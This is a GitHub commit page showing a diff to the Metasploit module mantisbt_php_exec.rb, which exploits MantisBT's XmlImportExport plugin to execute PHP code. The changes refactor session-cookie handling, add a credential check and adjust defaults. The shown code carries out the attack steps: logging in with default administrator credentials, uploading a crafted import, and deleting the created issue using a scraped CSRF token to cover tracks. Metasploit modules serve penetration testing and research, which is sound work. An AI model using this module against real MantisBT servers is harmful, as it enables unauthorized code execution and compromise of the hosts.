Skip to content

Commit 6bf1f61

Browse files
committed
Fix issues reported by FireFart
1 parent d4bbf0f commit 6bf1f61

File tree

1 file changed

+14
-20
lines changed

1 file changed

+14
-20
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 14 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = GreatRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::PhpEXE
1312

1413
def initialize(info = {})
1514
super(update_info(info,
@@ -39,7 +38,7 @@ def initialize(info = {})
3938
[
4039
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
4140
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
42-
OptString.new('TARGETURI', [ true, 'Base directory path', '']),
41+
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
4342
], self.class)
4443
end
4544

@@ -87,15 +86,13 @@ def exec_php(php_code, is_check = false)
8786
return false
8887
end
8988

90-
phpsessid = ' PHPSESSID' << res.get_cookies.split('PHPSESSID')[1].split('; ')[0]
89+
cookies = res.get_cookies
9190

9291
print_status('Logging in...')
9392
res = send_request_cgi({
9493
'method' => 'POST',
9594
'uri' => normalize_uri(target_uri.path, 'login.php'),
96-
'headers' => {
97-
'Cookie' => phpsessid,
98-
},
95+
'cookie' => cookies,
9996
'vars_post' => {
10097
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
10198
'username' => datastore['username'],
@@ -109,15 +106,18 @@ def exec_php(php_code, is_check = false)
109106
return false
110107
end
111108

112-
mantis_string_cookie = ' MANTIS_STRING_COOKIE' << res.get_cookies.split('MANTIS_STRING_COOKIE')[1].split('; ')[0]
109+
unless res.redirection.to_s !~ /login_page.php/
110+
print_error("Wrong credentials")
111+
return false
112+
end
113+
114+
cookies = "#{ cookies } #{ res.get_cookies }"
113115

114116
print_status("Checking XmlImportExport plugin...")
115117
res = send_request_cgi({
116118
'method' => 'GET',
117119
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
118-
'headers' => {
119-
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
120-
},
120+
'cookie' => cookies,
121121
'vars_get' => {
122122
'page' => 'XmlImportExport/import',
123123
}
@@ -210,7 +210,7 @@ def exec_php(php_code, is_check = false)
210210
'method' => 'POST',
211211
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
212212
'headers' => {
213-
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
213+
'Cookie' => cookies,
214214
},
215215
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
216216
'data' => data_post,
@@ -222,9 +222,7 @@ def exec_php(php_code, is_check = false)
222222
res = send_request_cgi({
223223
'method' => 'GET',
224224
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
225-
'headers' => {
226-
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
227-
},
225+
'cookie' => cookies,
228226
})
229227

230228
unless res && res.code == 200
@@ -242,9 +240,7 @@ def exec_php(php_code, is_check = false)
242240
res = send_request_cgi({
243241
'method' => 'GET',
244242
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
245-
'headers' => {
246-
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
247-
},
243+
'cookie' => cookies,
248244
'vars_get' => {
249245
'bug_arr[]' => issue_id,
250246
'action' => 'DELETE',
@@ -261,9 +257,7 @@ def exec_php(php_code, is_check = false)
261257
res = send_request_cgi({
262258
'method' => 'POST',
263259
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
264-
'headers' => {
265-
'Cookie' => "#{ phpsessid } #{ mantis_string_cookie }",
266-
},
260+
'cookie' => cookies,
267261
'vars_post' => {
268262
'bug_actiongroup_DELETE_token' => csrf_token,
269263
'bug_arr[]' => issue_id,

0 commit comments

Comments
 (0)